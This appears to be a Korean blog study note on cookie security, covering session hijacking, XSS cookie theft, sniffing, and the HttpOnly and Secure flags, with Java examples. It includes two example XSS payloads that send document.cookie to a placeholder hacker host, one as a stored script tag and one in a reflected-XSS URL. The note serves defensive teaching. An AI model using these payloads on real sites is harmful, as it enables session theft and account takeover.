브라우저에서 request GET 또는 POST 하게 되는 경우 모든 쿠키들이 서버에 넘어가 사용자를 체크합니다.

쿠키를 사용하고 있어 많은 사이트 대부분이 쿠키를 통해 사용자 식별정보를 쿠키에 저장하며 쿠키에 저장된 정보를 통해 각 사용자를 구별사용자 인증을 진행합니다.

인증을 계속 체크하는 이유는 HTTP프로토콜이 Stateless(무상태성)이기에 요청한 사람의 상태정보를 계속 갖고 있지않고 연결이 끊어지기 때문에 다음 요청 시 누구인지, 이전에 요청한 사람이 같은 사람인지 해커인지 알 수 없음

쿠키를 통해 인증을 하기 때문에 민감한 정보들이 쿠키에 담겨져 있는데 해커들은 다양한 방법으로 이쿠키를 탈취하고자 합니다. 이러한 쿠키에 대한 보안 공격 중 가장 대중적인 것 중 하나는 바로 세션 하이재킹 공격(Session hijacking)입니다.

세션 하이재킹
  인증이 안료된 사용자의 브라우저에서 인증을 식별하고 있는 쿠키를 탈취해 별도 로그인 없이 탈취한(인증된 세션)쿠키를 사용해 서버와 통신하는 행위

사용자 - 로그인 - 식별 쿠키 생성 - 인증 사용자 - 개인 정보 요청 - 식별 쿠키비교
쿠키를 통해 인증이 이루어지기 때문에 쿠키만 탈취하게 된다면 그사람으로 위장하여 내 정보 또는 포인트 또는 마일리지를 통한 결제 방식이라면 구매또한 가능
쿠키로 로그인해도 결제비밀번호를 입력하라고 하는 이유는 세션 하이재킹을 방지하기위한 것중의 하나입니다.

쿠키는 클라이언트에서 자바스크립트로 조회할 수 있기 때문에 해커들은 자바스크립트로 쿠키를 가로채고자 시도할 수 있음
대표적인 공격중의 하나가 XSS(cross site scripting) 게시판 제목 또는 이미지 src에 해커 사이트 주소로 연결되게 작성하면 쿠키를 탈취할 수 있게 됨

<script> location.href='해킹하는해커siteURL?cookie=' + document.cookie</script>

해커가 위와 같은 게시물을 공개 게시판에 작성할 경우 이 게시물을 읽은 다른 사용자들은 자바스크립트 명령이 실행되어 해커 site로 이동되며 이전 웹에 있었던 모든 cookie 들을 URL 쿼리에 적히게 되면 해커 사이트에 컨트롤러 단에서 cookie라는 파라미터를 받아 탈취하게 됨

이러한 스크립트를 통한 탈취방법을 막고자 브라우저에서는 쿠키에 접근할 수 없도록 제한하기 위한 옵션이 HTTPOnly 입니다.

set-Cookie: 쿠키명=쿠키값; path=/;HttpOnly

가장 마지막에 HttpOnly라는 접미사만 추가함으로써 Http Only cookie가 활성화 되며 위에서 말한 XSS와 같은 공격이 차단되게 됩니다. HTTP Only Cookie를 설정하면 브라우저에서 해당 쿠키로 접근할 수 없게 되지만, 쿠키에 포함된 정보의 대부분이 브라우저에서 접근할 필요가 없기 때문에 HTTP Only Cookie는 기본적으로 적용하는 것이 좋음

HttpOnly 속성은 클라이언트(브라우저 등)에서 설정할 수 없는 옵션이며, 서버단에서 설정할 수 있는 옵션입니다.

자바에서는 아래와 같이 HttpOnly속성을 설정할 수 있으면 response(응답)에 cookie를 넣어 클라이언트에 넘긴다.
서버에서 설정
Cookie cookie = new Cookie("key","value");
cookie.setHttpOnly(true)

HttpOnly는 XSS는 예방할 수 있지만 클라이언트에서 서버로 전달하는 패킷을 가로채는 해킹방법(스니핑)은 예방할 수 없음
패킷을 캡처하면 쿠미의 정보를 알아낼 수 있기 때문에 해커는 쿠키를 탈취할 수 있음

 예) 무료 와이파이를 패킷을 와이어 샤크를 이용해서 패킷을 캡처하여 탈취

Secure Cookies
 Http Only Cookie를 사용하면 client에서 javascript를 통한 쿠키 탈취문제를 예방할 수 있음 
 javascript가 아닌 네트워크를 직접 감청하여 쿠키를 가로챌 수 있음(와이어 샤크를 이용한 패킷 가로채기) 
통신과정에 정보 유출을 막기위해 SSL({Over} Secure Socket Layer) 암호화가 적용된 HTTPS프로토콜을 사용하여 데이터를 암호화하여 서버에 넘겨줌 해커들은 쿠키를 탈취하여도 암호화가 되어 있어 정보를 알아내기 어려움

https 자체의 보안문제는 아니지만 https에 대해 모르고 있는 개발자가 있다면 https로 전송되어야할 정보가 개발자의 부주으로 http를 통해 유출되는 경우가 있음
예)  img src="http://www.site.com/images/login.png"

브라우저에 http만을 넘겨주면 암호화되지 않은 상태로 쿠키를 서버에 전달하고 해커는 이 암호화 되지 않은 정보를 가로채어 사용하게 된다.

쿠키생성시 secure 접미사를 사용하여 정보가로채기를 방지할 수 있다
Set-Cookie:쿠키명=쿠키값;path=/;secure
secure를 사용하여 쿠키를 생성하면 브라우저는 https가 아닌 통신에서는 쿠키를 전송하지 않음

secure옵션은 클라이언트와 서버 모두에서 옵션으로 작용가능

클라이언트
   document.cookie = "key=value; path:/; secure"
   
  참고 expires(유효일자)나 max-age(만료 기간)옵션이 지정되어있지 않으면 브라우저가 닫일 때 쿠키가 같이 삭제 이런 쿠키를 세션 쿠키(session cookie) 라 한다. expire나 max-age 옵션을 설정하면 브라우저를 닫아도 쿠키가 삭제되지 않음

서버에서 설정
Cookie cookie = new Cookie("key","value");
cookie.setHttpOnly(true)
cookie.setSecure(true)

XSS를 통한 공격중 하나인 Reflected XSS 공격
- reflected xss 공격은 사용자에게 입력받은 값을 서버에도 되돌려주는 곳에서 발생
  사용자에게 입력받은 검색어를 그대로 보여주는 곳이나 사용자가 입력한 값을 에러 메세지에 포함하여 보여주는 곳에 악성스크립트가 삽입되면 서버가 사용자의 입력값을 포함해 응답을 줄 대 스크립타가 실행 된다.
 reflected XSS는 공격자가 악의적인 스크립트와 함께 URL을 사용자에게 누르도록 유도하고 URL을 누른 사용자는 악의적인 스크립트가 실행되면서 공격을 당하게 된다.
 예 GET 방식으로 검색 기능을 구현한 웹 애플리케이션에 XSS취약점이 있음을 확인한 해커는 공격코드 참고
 http://www.site.com?search=<scripr>location.hrerf("http://www.heacker.com/heacker/cookie.jsp?value="+document.cookie);</script>
xss 공격중 Reflected 공격 (get 검색 후 script 실행)
출처 : 
https://theheydaze.tistory.com/550#:~:text=HttpOnly%20%EC%86%8D%EC%84%B1%EC%9D%80%20%ED%81%B4%EB%9D%BC%EC%9D%B4%EC%96%B8%ED%8A%B8%20%28%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80%20%EB%93%B1%29%20%EC%97%90%EC%84%9C%20%EC%84%A4%EC%A0%95%ED%95%A0%20%EC%88%98,%EB%A5%BC%20%EB%84%A3%EC%96%B4%20%ED%81%B4%EB%9D%BC%EC%9D%B4%EC%96%B8%ED%8A%B8%20%EB%84%98%EA%B2%A8%EC%A4%8D%EB%8B%88%EB%8B%A4%20public%20class%20TestHttpOnlyCookie%20%7B